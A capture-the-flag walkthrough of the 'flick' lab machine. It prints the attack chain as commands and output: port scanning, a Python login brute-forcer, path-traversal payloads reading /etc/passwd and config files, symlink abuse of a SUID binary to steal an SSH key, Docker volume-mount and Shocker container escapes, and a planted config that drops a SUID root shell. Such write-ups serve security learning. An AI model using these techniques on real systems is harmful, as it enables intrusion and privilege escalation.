nmap -A -p1-65535 192.168.80.129
Starting Nmap 6.47 ( http://nmap.org ) at 2015-02-09 15:28 EET
Nmap scan report for 192.168.80.129
Host is up (0.00056s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 04:d0:8d:4d:ee:87:30:e7:60:82:63:d3:a8:6e:4b:ac (DSA)
| 2048 64:ec:a9:9b:0b:c0:11:d4:08:63:cf:83:e1:db:23:9a (RSA)
|_ 256 2d:32:93:ce:0e:54:3f:84:ee:01:c7:c0:bb:68:e2:02 (ECDSA)
8881/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port8881-TCP:V=6.47%I=7%D=2/9%Time=54D8B5FC%P=x86_64-unknown-linux-gnu%
SF:r(NULL,5F,"Welcome\x20to\x20the\x20admin\x20server\.\x20A\x20correct\x2
SF:0password\x20will\x20'flick'\x20the\x20switch\x20and\x20open\x20a\x20ne
SF:w\x20door:\n>\x20")%r(GetRequest,78,"Welcome\x20to\x20the\x20admin\x20s
SF:erver\.\x20A\x20correct\x20password\x20will\x20'flick'\x20the\x20switch
SF:\x20and\x20open\x20a\x20new\x20door:\n>\x20OK:\x20GET\x20/\x20HTTP/1\.0
SF:\r\n\r\n\n>\x20")%r(FourOhFourRequest,9B,"Welcome\x20to\x20the\x20admin
SF:\x20server\.\x20A\x20correct\x20password\x20will\x20'flick'\x20the\x20s
SF:witch\x20and\x20open\x20a\x20new\x20door:\n>\x20OK:\x20GET\x20/nice%20p
SF:orts%2C/Tri%6Eity\.txt%2ebak\x20HTTP/1\.0\r\n\r\n\n>\x20")%r(GenericLin
SF:es,6A,"Welcome\x20to\x20the\x20admin\x20server\.\x20A\x20correct\x20pas
SF:sword\x20will\x20'flick'\x20the\x20switch\x20and\x20open\x20a\x20new\x2
SF:0door:\n>\x20OK:\x20\r\n\r\n\n>\x20")%r(HTTPOptions,7C,"Welcome\x20to\x
SF:20the\x20admin\x20server\.\x20A\x20correct\x20password\x20will\x20'flic
SF:k'\x20the\x20switch\x20and\x20open\x20a\x20new\x20door:\n>\x20OK:\x20OP
SF:TIONS\x20/\x20HTTP/1\.0\r\n\r\n\n>\x20")%r(RTSPRequest,7C,"Welcome\x20t
SF:o\x20the\x20admin\x20server\.\x20A\x20correct\x20password\x20will\x20'f
SF:lick'\x20the\x20switch\x20and\x20open\x20a\x20new\x20door:\n>\x20OK:\x2
SF:0OPTIONS\x20/\x20RTSP/1\.0\r\n\r\n\n>\x20")%r(RPCCheck,92,"Welcome\x20t
SF:o\x20the\x20admin\x20server\.\x20A\x20correct\x20password\x20will\x20'f
SF:lick'\x20the\x20switch\x20and\x20open\x20a\x20new\x20door:\n>\x20OK:\x2
SF:0\x80\0\0\(r\xfe\x1d\x13\0\0\0\0\0\0\0\x02\0\x01\x86\xa0\0\x01\x97\|\0\
SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\n>\x20")%r(DNSVersionBindReq,86,"
SF:Welcome\x20to\x20the\x20admin\x20server\.\x20A\x20correct\x20password\x
SF:20will\x20'flick'\x20the\x20switch\x20and\x20open\x20a\x20new\x20door:\
SF:n>\x20OK:\x20\0\x1e\0\x06\x01\0\0\x01\0\0\0\0\0\0\x07version\x04bind\0\
SF:0\x10\0\x03\n>\x20")%r(DNSStatusRequest,74,"Welcome\x20to\x20the\x20adm
SF:in\x20server\.\x20A\x20correct\x20password\x20will\x20'flick'\x20the\x2
SF:0switch\x20and\x20open\x20a\x20new\x20door:\n>\x20OK:\x20\0\x0c\0\0\x10
SF:\0\0\0\0\0\0\0\0\0\n>\x20");
MAC Address: 00:0C:29:7A:27:7B (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.11 - 3.14
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Not much to work with. I netcat’ed to the 8881 port:
123456
nc 192.168.80.129 8881
Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
> letmein?
OK: letmein?
>
I tried bombarding it with long strings to see how it would behave, but nothing happened. Next thing I just thought to try SSH and it would seem this is the more likely route:
It took 16 decodings to produce a non Base64 string that might work as password for the admin server. The end result is tabupJievas8Knoj
12345678
root@kali:~# nc 192.168.80.129 8881
Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
> tabupJievas8Knoj
OK: tabupJievas8Knoj
Accepted! The door should be open now :poolparty:
>
I tried poolparty as the SSH password but of course it wouldn’t be that easy! We started with only 2 open ports, so there isn’t much room for progression on that front, but what door is open now? I started another Nmap scan, and there is indeed something that wasn’t here before:
It’s an image gallery of cats. After you feasted your eyes on all of them, check the login page:
Right, I don’t see any credentials lying around in the source. I tried modifying the URL from http://192.168.80.129/login/login, and there is a directory index coming up, but it’s fake:
You get the same page no matter what you add in the URL or click on the supposed directories. I tried SQL injection next. If you insert a single quote, you get this message:
1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND user.password=' at line 1
But this message remains unchanged no matter the variation of the injections, and there is no reaction if you try double quotes or backslashes. I tested it with Sqlmap and it reported that none of the parameters are dynamic nor injectable, so it seems like another fake lead.
Right, so it’s time to focus on the hint. I tried logging in with demo:demo, but it didn’t work. Because the hint specified a demo user, it’s safe to assume the username will be demo. And with no other hint, and lengthy bruteforcing not being a desired goal of the exercise, we can assume that the password is also some variation that includes the word demo. Most likely an addition of a few digits. Whenever I think the password would be weak and obvious, or I am clueless and hope for the best, I try the obvious word by itself, or followed by 123 or 1234. I never really expect it to work, but..it did! The password is actually demo123. However, for the sake of exercise, let’s assume we didn’t imagine any possible password and we need to do it conventionally..by building a wordlist and bruteforcing the login page.
So, the first step is to build a wordlist. If we think about it, the password will most likely contain the word demo, so its minimum length would be 5 (already tried demo), and its maximum would be 8, to accommodate some trailing digits / letters, or a repetition of the word itself. I will give 2 examples of creating a wordlist, but will use a much reduced list for the actual bruteforcing part.
In the first example, I used crunch to generate a wordlist. To keep up with the constraints, it should be composed of 5-8 characters, with the string “demo” occurring at the beginning or the end. I assummed the letters would be lowercase only.
12345678910111213141516171819
crunch 7 7 -t demo%%% -o /root/Desktop/wordlist.txt
Crunch will now generate the following amount of data: 8000 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 1000
crunch: 100% completed generating output
...
crunch 7 7 -t demo@@@ -o /root/Desktop/wordlist2.txt
Crunch will now generate the following amount of data: 140608 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 17576
crunch: 100% completed generating output
In this example, I specified the min and max length as 7 (since I couldn’t figure out from my speedy reading how to make crunch to build variable length words from the pattern, to build a full wordlist I would repeat it for every length and pattern that must be met and merge the results). The -o parameter is for the output file, and the -t parameter is for the pattern, followed by wildcard symbols (% for numbers, @ for lowercase).
The second example will use our buddy, John the Ripper. Starting from a file called demo.txt, which only has the word demo in it, I let john build passwords originating from the word demo by using the jumbo rules from /etc/john/john.conf
12
john --rules=jumbo --wordlist=demo.txt --stdout >> wordlist.txt
words: 5116 time: 0:00:00:00 DONE (Wed Feb 11 14:44:42 2015) w/s: 102320 current: DEMO
This wordlist also contains uppercase variations. Here’s a breakdown of the command:
—rules=jumbo Enables wordlist rules, that are read from [List.Rules:Wordlist]
in /etc/john/john.conf (or the alternative configuration file
you might specify on the command line).
This option requires the -wordlist option to be passed as well.
And the jumbo rules from john’s configuration file:
123456
# For Wordlist mode and very fast hashes
[List.Rules:Jumbo]
.include [List.Rules:Wordlist]
.include [List.Rules:Single]
.include [List.Rules:Extra]
.include [List.Rules:NT]
So this actually includes 4 other rules.
—wordlist=demo.txt These are used to enable the wordlist mode, reading words from FILE.
—stdout >> wordlist.txt When used with a cracking mode, except for “single crack”, makes
John print the words it generates to stdout instead of cracking.
Since we aren’t cracking anything, we redirect the passwords to a file.
Next, for the bruteforcing part, I will use just a few samples to illustrate the exercise.
importurllib,urllib2importcookielibwordlist='/root/Desktop/wordlist.txt'passwords=[]withopen(wordlist,'r')asf:forlineinf.readlines():passwords.append(line.strip('\n'))url='http://192.168.80.129/login/login'fail='Your username/password combination was incorrect'username='demo'password=''jar=cookielib.CookieJar()opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))opener.addheaders.append(('Cookie','laravel_session=eyJpdiI6IkxSQlRpb1NyTDc1VDZNMG9jaGZiUDRNbmxXNlgxbUVFWllZXC9Jemp4a0RzPSIsInZhbHVlIjoiTUVkd1VXMkxLY2p1czJFc1B5aTA0eG9hb3A3Zmt2cHJlWlNSMEFkMW54cmJFNmk3VFluaE9qTlgydVlGVStGenI0RjdiR2JHc3h4Y1wvZFBkM3JTa1N3PT0iLCJtYWMiOiJiNzk4NGEwMzQzN2Y4YTM4OWVhOTZjODM2YzRiMjI5ODM2MTFlNGQxMzM3NjA4ZjQ5M2EyOTNmYTE5NGNiMDZmIn0%3D'))forpasswdinpasswords:print'Trying: '+passwdpayload={'_token':'p8xqSfrmqsYs7jvIpZbnoMG03FRxQYueO2LAcWAp','username':'demo','password':passwd}data=urllib.urlencode(payload)req=opener.open(url,data)iffailnotinreq.read():print'Success with password: '+passwdbreak
And its output:
1234
Trying: demodemo
Trying: demo007
Trying: demo123
Success with password: demo123
After all the work (or guessing) to log in, the only extra things we can do is upload photos or download photos from the gallery. First, I tried uploading a PHP file to see if I could get code execution, but it didn’t work. All I could see was a blank page.
Oops! Looks like you requested a invalid file to download!
./etc/passwd is not valid.
Ok, so to bypass the filter I used 192.168.80.129/image/download?filename=….//….//….//….//etc/passwd. This prompted me to download an image, and I wasted time trying to figure out why it wouldn’t work. Trying to view the image I got the error that it can’t be displayed because it contains errors. Finally it struck me to run strings on it and:
Finally getting somewhere! To the bottom we can see potentially interesting users, robin and dean. But how to actually get in the box?
Well, the answer lies in combining the ability to read local files with some knowledge of the framework used behind the scenes. Remember the laravel_session cookie? Laravel is a “PHP Framework For Web Artisans”. The official documentation is a great place to get started. While looking around, I hit this database page, and read about a file that we might be interested in: config/database.php. This is the config file for the database, where you can specify the connections’ details. And it’s important for us, because it should contain usernames and passwords. Also, if you check the laravel configuration page, you will notice that the default installation directory is named app. To read the file we want, we would have to look for it under app/config/database.php. But before that, we have to know the root of the website. At this point I had to do some online reading, because I couldnt find the httpd.conf file, and some other files I’ve pulled from the server weren’t helpful. The one that contained the necessary information was /etc/apache2/sites-enabled/000-default. Since I have yet to seriously start playing with Apache, I’m not very knowledgeable about its workings, but this file is a symbolic link to /etc/apache2/sites-available/default. In the /sites-available/ folder there are configuration files for every site that you want to serve (in Apache, these are called virtual hosts). The default site is, uhm, just that, the default site of the Apache installation. And in the /sites-enabled/ directory there are symbolic links for every active site (that you’re actually serving). Hence the file that we’re requesting is a symbolic link to the default site that’s being served.
Back to the problem at hand, I downloaded the file as follows: 192.168.80.129/image/download?filename=….//….//….//….///etc/apache2/sites-enabled/000-default and ran strings on it:
root@kali:~/Desktop# strings image.jpg
<?php
return array(
|--------------------------------------------------------------------------
| PDO Fetch Style
|--------------------------------------------------------------------------
| By default, database results will be returned as instances of the PHP
| stdClass object; however, you may desire to retrieve records in an
| array format for simplicity. Here you can tweak the fetch style.
'fetch' => PDO::FETCH_CLASS,
|--------------------------------------------------------------------------
| Default Database Connection Name
|--------------------------------------------------------------------------
| Here you may specify which of the database connections below you wish
| to use as your default connection for all database work. Of course
| you may use many connections at once using the Database library.
// Jan 2014 note: We have moved away from the old crappy SQLite 2.x database and moved
// on to the new and improved MySQL database. So, I will just comment out this as it is
// no longer in use
//'default' => 'sqlite',
'default' => 'mysql',
|--------------------------------------------------------------------------
| Database Connections
|--------------------------------------------------------------------------
| Here are each of the database connections setup for your application.
| Of course, examples of configuring each database platform that is
| supported by Laravel is shown below to make development simple.
| All database work in Laravel is done through the PHP PDO facilities
| so make sure you have the driver for your particular database of
| choice installed on your machine before you begin development.
'connections' => array(
'sqlite' => array(
'driver' => 'sqlite',
'database' => __DIR__.'/../database/production.sqlite', // OLD DATABASE NO LONGER IN USE!
'prefix' => '',
),
'mysql' => array(
'driver' => 'mysql',
'host' => 'localhost',
'database' => 'flick',
'username' => 'flick',
'password' => 'resuddecNeydmar3',
'charset' => 'utf8',
'collation' => 'utf8_unicode_ci',
'prefix' => '',
),
'pgsql' => array(
'driver' => 'pgsql',
'host' => 'localhost',
'database' => 'forge',
'username' => 'forge',
'password' => '',
'charset' => 'utf8',
'prefix' => '',
'schema' => 'public',
),
'sqlsrv' => array(
'driver' => 'sqlsrv',
'host' => 'localhost',
'database' => 'database',
'username' => 'root',
'password' => '',
'prefix' => '',
),
|--------------------------------------------------------------------------
| Migration Repository Table
|--------------------------------------------------------------------------
| This table keeps track of all the migrations that have already run for
| your application. Using this information, we can determine which of
| the migrations on disk haven't actually been run in the database.
'migrations' => 'migrations',
|--------------------------------------------------------------------------
| Redis Databases
|--------------------------------------------------------------------------
| Redis is an open source, fast, and advanced key-value store that also
| provides a richer set of commands than a typical key-value systems
| such as APC or Memcached. Laravel makes it easy to dig right in.
'redis' => array(
'cluster' => false,
'default' => array(
'host' => '127.0.0.1',
'port' => 6379,
'database' => 0,
),
Unfortunately, there were no passwords here, but it seems we should investigate further:
1
'database' => __DIR__.'/../database/production.sqlite', // OLD DATABASE NO LONGER IN USE!
Passwords for the users we discovered earlier in the /etc/passwd file! I tried SSH’ing, and robin’s password didn’t work, but dean’s did!
1234567891011121314151617181920
Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic x86_64)
* Documentation: https://help.ubuntu.com/
System information as of Fri Feb 13 14:34:19 SAST 2015
System load: 0.0 Processes: 82
Usage of /: 36.1% of 6.99GB Users logged in: 0
Memory usage: 39% IP address for eth0: 192.168.80.129
Swap usage: 0% IP address for docker0: 172.17.42.1
Graph this data and manage this system at:
https://landscape.canonical.com/
New release '14.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Sat Aug 2 14:42:15 2014 from 192.168.56.1
dean@flick:~$ ls
message.txt read_docker
dean@flick:~$ cat message.txt
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Hi Dean,
I will be away on leave for the next few weeks. I have asked the admin guys to
write a quick script that will allow you to read my .dockerfile for flick-
a-photo so that you can continue working in my absense.
The .dockerfile is in my home, so the path for the script will be something like
/home/robin/flick-dev/
Please call me if you have any troubles!
- --
Ciao
Robin
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iQIcBAEBAgAGBQJT32ZsAAoJENRCTh/agc2DTNIP/0+ut1jWzk7VgJlT6tsGB0Ah
yi24i2b+JAVtINzCNgJ+rXUStaAEudTvJDF28b/wZCaFVFoNJ8Q30J03FXo4SRnA
ZW6HZZIGEKdlD10CcXsQrLMRmWZlBDQnCm4+EMOvavS1uU9gVvcaYhnow6uwZlwR
enf71LvtS1h0+PrFgSIoItBI4/lx7BiYY9o3hJyaQWkmAZsZLWQpJtROe8wsxb1l
9o4jCJrADeJBsYM+xLExsXaEobHfKtRtsM+eipHXIWIH+l+xTi8Y1/XIlgEHCelU
jUg+Hswq6SEch+1T5B+9EPoeiLT8Oi2Rc9QePSZ3n0fe4f3WJ47lEYGLLEUrKNG/
AFLSPnxHTVpHNO72KJSae0cG+jpj1OKf3ErjdTk1PMJy75ntQCrgtnGnp9xvpk0b
0xg6cESLGNkrqDGopsN/mgi6+2WKtUuO5ycwVXFImY3XYl+QVZgd/Ntpu4ZjyZUT
lxqCAk/G1s43s+ySFKSoHZ8c/CuOKTsyn6uwI3NxBZPD04xfzoc0/R/UpIpUmneK
q9LddBQK4vxPab8i4GNDiMp+KXyfByO864PtKQnCRkGQewanxoN0lmjB/0eKhkmf
Yer1sBmumWjjxR8TBY3cVRMH93zpIIwqxRNOG6bnnSVzzza5DJuNssppCmXLOUL9
nZAuFXkGFu6cMMD4rDXQ
=2moZ
-----END PGP SIGNATURE-----
Docker is an open platform for developers and sysadmins to build, ship, and run distributed applications. Consisting of
Docker Engine, a portable, lightweight runtime and packaging tool, and Docker Hub, a cloud service for sharing applications
and automating workflows, Docker enables apps to be quickly assembled from components and eliminates the friction between
development, QA, and production environments. As a result, IT can ship faster and run the same app, unchanged, on laptops,
data center VMs, and any cloud.
So, I used the script to read robin’s dockerfile, per the instructions:
dean@flick:~$ file read_docker
read_docker: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x5b429ab297ac0bd55150f9ef54738b366f643336, not stripped
dean@flick:~$ strings read_docker
/lib64/ld-linux-x86-64.so.2
sT63do
__gmon_start__
libc.so.6
sprintf
fopen
fgetc
memset
stdout
fputc
fclose
malloc
stderr
fwrite
fprintf
__libc_start_main
free
GLIBC_2.2.5
%z
%r
%j
%b
%Z
%R
%J
%B
%:
fff.
l$ L
t$(L
|$0H
/Dockerfile
ERROR: A path is required!
Usage is: %s /path/to/dockerfile
%s%s
ERROR: the specified docker file doesn't exist: %s
;*3$"
Well, this is a SUID binary, and the owner is robin, so we should be able to read files that robin has permissions to read..or so I thought:
123
dean@flick:~$ ./read_docker /home/robin/.bash_history
ERROR: the specified docker file doesn't exist: /home/robin/.bash_history/Dockerfile
Usage is: ./read_docker /path/to/dockerfile
So it appears to append a Dockerfile to the path that you enter. Judging from this, it won’t be able to read the contents if there is no Dockerfile present. But what if we create a Dockerfile in dean’s home directory and link it to stuff that robin should have access to? I still couldn’t read the .bash_history file, so there probably isn’t one, but..
12345678910111213
ean@flick:~$ ln -s /home/robin/.bashrc Dockerfile
dean@flick:~$ ls -la
total 44
drwxr-xr-x 3 dean dean 4096 Feb 23 13:54 .
drwxr-xr-x 4 root root 4096 Aug 2 2014 ..
-rw------- 1 dean dean 143 Feb 13 15:46 .bash_history
-rw-r--r-- 1 dean dean 220 Aug 2 2014 .bash_logout
-rw-r--r-- 1 dean dean 3486 Aug 2 2014 .bashrc
drwx------ 2 dean dean 4096 Aug 2 2014 .cache
lrwxrwxrwx 1 dean dean 19 Feb 23 13:54 Dockerfile -> /home/robin/.bashrc
-rw-r--r-- 1 root root 1250 Aug 4 2014 message.txt
-rw-r--r-- 1 dean dean 675 Aug 2 2014 .profile
-rwsr-xr-x 1 robin robin 8987 Aug 4 2014 read_docker
If you look at the link you created, it says it’s a broken symbolic link:
12
dean@flick:~$ file Dockerfile
Dockerfile: broken symbolic link to `/home/robin/.bashrc'
However, that doesn’t seem to stop the read_docker binary from doing its thing!
12345678910111213141516171819
dean@flick:~$ ./read_docker /home/dean
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
# If not running interactively, don't do anything
[ -z "$PS1" ] && return
# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
HISTCONTROL=ignoreboth
# append to the history file, don't overwrite it
shopt -s histappend
# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000
...
So,we were able to read robin’s .bashrc file. That doesn’t help us much, but now we know that we can use this to our advantage, if the file that we want to read exists. Let’s see if we can’t get robin’s SSH private key:
Woohoo! It worked! With this we can SSH as robin. I copied the key contents to my machine (don’t forget to chmod 600, or you will get an Unprotected Private Key File eror), and logged in as robin.
After a bit of enumeration, I didn’t find anything extremely interesting. User robin is able to sudo the following:
123456
robin@flick:/opt/start_apache$ sudo -l
Matching Defaults entries for robin on this host:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User robin may run the following commands on this host:
(root) NOPASSWD: /opt/start_apache/restart.sh
I couldn’t read the files in that directory (there is an additional file called start.py), because I got a permission denied error. With nothing else to follow, perhaps there is more to be gained from the Docker program. The official documentation for Docker commands came in handy.
First, I listed all the available containers, and found something:
123
robin@flick:/opt/start_apache$ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
b0f71c63a88c ubuntu:14.04 /bin/bash 7 months ago Exited (0) 7 months ago sharp_shockley
It’s possible to set up a console session with the container (check the help for the run command to see all the kinds of things you can do with it):
123
robin@flick:/opt/start_apache$ docker run -i -t ubuntu
root@4dfeb7b4ed8c:/# whoami
root
Breaking up the command:
Usage: docker run [OPTIONS] IMAGE [COMMAND] [ARG…]
Run a command in a new container
-i, —interactive=false: Keep stdin open even if not attached
-t, —tty=false: Allocate a pseudo-tty
But even if we can run as root inside the container, it doesn’t solve the problem of getting root outside it. However, I looked more closely at the options for run and I noticed this:
1
-v, --volume=[]: Bind mount a volume (e.g. from the host: -v /host:/container, from docker: -v /container)
Reading the documentation, it seems it’s possible to mount a volume from the host?! Let’s see:
123
docker run -i -t -v /root/:/root/ ubuntu
root@4340d77a56d3:/# ls /root/
53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc flag.txt
Success! If you can’t get root on the box, bring the box to where you are root! :D
The obvious flag is just a decoy:
12
root@4340d77a56d3:/# cat /root/flag.txt
Errr, you are close, but this is not the flag you are looking for.
Of course, the real flag is cleverly hidden inside the directory with a name that screams for attention:
123456789
root@4340d77a56d3:/# ls /root/53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc
real_flag.txt
root@4340d77a56d3:/# cat /root/53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc/real_flag.txt
Congrats!
You have completed 'flick'! I hope you have enjoyed doing it as much as I did creating it :)
ciao for now!
@leonjza
Bonus – get root command execution on host
Ok, after an overly lengthy break, I returned to the bonus part of the challenge. I will use an alternate way for this instead of proceeding from where I left off.
Remember the files in /opt/ that I couldn’t read? Naturally, I was curious about them, and they provide an alternate path to exploitation. And the fact that the Docker version on the box is out of date.. :D
During my initial enumeration, I didn’t pay much attention to the fact that Docker is outdated, as can be seen from the following:
12345678910
robin@flick:~$ docker version
Client version: 0.11.0
Client API version: 1.11
Go version (client): go1.2.1
Git commit (client): 15209c3
Server version: 0.11.0
Server API version: 1.11
Git commit (server): 15209c3
Go version (server): go1.2.1
Last stable version: 1.5.0, please update docker
So..maybe there is some nice exploit that can assist us? It turns there is! And it’s called Shocker
A good description of this container-breakout exploit, along with code, can be found here. I will quote the gist of it:
Demonstrates that any given docker image someone is asking
you to run in your docker setup can access ANY file on your host,
e.g. dumping hosts /etc/shadow or other sensitive info, compromising
security of the host and any other docker VM’s on it.
I could of course read /etc/shadow or the flags, but I’m interested in the /opt/start_apache/ files. To read them, you have to modify the code here:
Just insert the path to the file you want to read instead of etc/shadow. So we want /opt/start_apache/restart.sh and /opt/start_apache/start.py. To run the PoC exploit, use the command docker run gabrtv/shocker. To modify source and rebuild, use docker build -t gabrtv/shocker .. I got an error saying that no Dockerfile was found in the current directory, so I just pulled the one from Github and it worked. To compile the exploit (on the Flick box), use the command found in the Dockerfile on Github:
1
cc -Wall -std=c99 -O2 shocker.c -static -Wno-unused-result -o shocker
robin@flick:~$ docker run gabrtv/shocker
[***] docker VMM-container breakout Po(C) 2014 [***]
[***] The tea from the 90's kicks your sekurity again. [***]
[***] If you have pending sec consulting, I'll happily [***]
[***] forward to my friends who drink secury-tea too! [***]
<enter>
[*] Resolving 'opt/start_apache/restart.sh'
[*] Found .
[*] Found mnt
[*] Found home
[*] Found root
[*] Found lost+found
[*] Found media
[*] Found selinux
[*] Found boot
[*] Found srv
[*] Found lib
[*] Found dev
[*] Found proc
[*] Found bin
[*] Found lib64
[*] Found etc
[*] Found ..
[*] Found var
[*] Found sbin
[*] Found sys
[*] Found opt
[+] Match: opt ino=246
[*] Brute forcing remaining 32bit. This can take a while...
[*] (opt) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'start_apache/restart.sh'
[*] Found .
[*] Found ..
[*] Found start_apache
[+] Match: start_apache ino=137500
[*] Brute forcing remaining 32bit. This can take a while...
[*] (start_apache) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x1c, 0x19, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'restart.sh'
[*] Found .
[*] Found start.py
[*] Found ..
[*] Found restart.sh
[+] Match: restart.sh ino=173642
[*] Brute forcing remaining 32bit. This can take a while...
[*] (restart.sh) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x4a, 0xa6, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0x4a, 0xa6, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Win! /etc/shadow output follows:
#!/bin/sh
/usr/sbin/service apache2 restart
/usr/bin/supervisorctl restart all
I was too lazy to modify the print statement, the actual file that was read was the restart.sh file. Not very interesting, so I looked at the other one (this time I’m only showing the code):
#!/usr/bin/python''' Simple socket server using threads. Used in the flick CTF Credit: http://www.binarytides.com/python-socket-server-code-example/'''importsocketimportos,sys,signalfromthreadimport*importsubprocess# import the directory containing our config, and prevent the bytcode writessys.dont_write_bytecode=True# see if /tmp has a configuration to load.# Debugging purposes only!!!ifos.path.isfile('/tmp/config.py'):sys.path.insert(0,'/tmp')else:sys.path.insert(0,'/etc')# import the configfromconfigimportconfigHOST=''# Symbolic name meaning all available interfacesPORT=8881# Arbitrary non-privileged ports=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)#Bind socket to local host and porttry:s.bind((HOST,PORT))exceptsocket.errorasmsg:print'Bind failed. Error Code : '+str(msg[0])+' Message '+msg[1]sys.exit()#Start listening on sockets.listen(10)#Function for handling connections. This will be used to create threadsdefclientthread(conn):#Sending message to connected clientconn.send('Welcome to the admin server. A correct password will \'flick\' the switch and open a new door:\n> ')#send only takes string#infinite loop so that function do not terminate and thread do not end.whileTrue:#Receiving from clientdata=conn.recv(1024)reply='OK: '+dataifnotdata:break# check if the password is tabupJievas8Knojifdata.strip()=='tabupJievas8Knoj':return_code=subprocess.call(config['command'],shell=True)ifreturn_code==0:reply+='\nAccepted! The door should be open now :poolparty:\n'else:reply+='\nAccepted, but it doesn\'t look like the door opened :<\n'# add the prompt againreply+='\n> 'conn.sendall(reply)#came out of loopconn.close()#now keep talking with the clientwhile1:#wait to accept a connection - blocking callconn,addr=s.accept()#start new thread takes 1st argument as a function name to be run, second is the tuple of arguments to the function.start_new_thread(clientthread,(conn,))s.close()
So this is the application that provided us with the first foothold on the box! The interesting part is that the program looks for a config.py in /tmp/, and if it can’t find one there it loads it from /etc/. Let’s see it:
Copied the shell and gave it SUID and full access so we can execute it as root. Next we have to restart the program:
123456
obin@flick:~$ sudo /opt/start_apache/restart.sh
* Restarting web server apache2 apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
[ OK ]
start_apache-8000: stopped
start_apache-8000: started
I looked in /tmp/ but the shell wasn’t there, so I tried again to connect to port 8881 and give the password. And indeed, now there is a shell waiting there:
1234
robin@flick:~$ ls -l /tmp/
total 112
-rw-rw-r-- 1 robin robin 75 Apr 1 14:08 config.py
-rwsrwxrwx 1 root root 109768 Apr 1 14:17 pwn